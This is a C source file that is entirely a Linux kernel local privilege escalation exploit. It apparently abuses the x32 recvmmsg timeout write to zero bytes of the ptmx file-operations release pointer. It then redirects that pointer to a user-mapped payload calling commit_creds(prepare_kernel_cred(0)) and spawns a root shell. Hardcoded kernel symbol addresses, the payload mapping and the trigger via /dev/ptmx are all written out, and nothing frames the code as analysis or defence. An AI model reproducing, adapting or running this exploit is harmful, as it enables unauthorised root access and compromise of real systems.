|
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/mman.h>
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define BUFSIZE 200
#define PAYLOADSIZE 0x2000
#define FOPS_RELEASE_OFFSET 13*8
#define PTMX_FOPS 0xffffffff81fb30c0LL
#define TTY_RELEASE 0xffffffff8142fec0LL
#define COMMIT_CREDS 0xffffffff8108ad40LL
#define PREPARE_KERNEL_CRED 0xffffffff8108b010LL
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
int __attribute__((regparm(3)))
kernel_payload(void* foo, void* bar)
{
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
*((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1;
commit_creds(prepare_kernel_cred(0));
return -1;
}
void zero_out(long addr)
{
int sockfd, retval, port, pid, i;
struct sockaddr_in sa;
char buf[BUFSIZE];
struct mmsghdr msgs;
struct iovec iovecs;
srand(time(NULL));
port = 1024 + (rand() % (0x10000 - 1024));
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror("socket()");
exit(EXIT_FAILURE);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("bind()");
exit(EXIT_FAILURE);
}
memset(&msgs, 0, sizeof(msgs));
iovecs.iov_base = buf;
iovecs.iov_len = BUFSIZE;
msgs.msg_hdr.msg_iov = &iovecs;
msgs.msg_hdr.msg_iovlen = 1;
printf("clearing byte at 0x%lx\n", addr);
pid = fork();
if (pid == 0) {
memset(buf, 0x41, BUFSIZE);
if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror("socket()");
exit(EXIT_FAILURE);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
printf("waiting 255 seconds...\n");
for (i = 0; i < 255; i++) {
if (i % 10 == 0)
printf("%is/255s\n", i);
sleep(1);
}
printf("waking up parent...\n");
sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));
exit(EXIT_SUCCESS);
} else if (pid > 0) {
retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);
if (retval == -1) {
printf("address can't be written to, not a valid timespec struct\n");
exit(EXIT_FAILURE);
}
waitpid(pid, 0, 0);
printf("byte zeroed out\n");
} else {
perror("fork()");
exit(EXIT_FAILURE);
}
}
int main(int argc, char** argv)
{
long code, target;
int pwn;
printf("preparing payload buffer...\n");
code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
memset((void*)code, 0x90, PAYLOADSIZE);
code += PAYLOADSIZE - 1024;
memcpy((void*)code, &kernel_payload, 1024);
printf("changing kernel pointer to point into controlled buffer...\n");
target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
zero_out(target + 7);
zero_out(target + 6);
zero_out(target + 5);
printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");
pwn = open("/dev/ptmx", 'r');
close(pwn);
if (getuid() != 0) {
printf("failed to get root :(\n");
exit(EXIT_FAILURE);
}
printf("got root, enjoy :)\n");
return execl("/bin/bash", "-sh", NULL);
}
|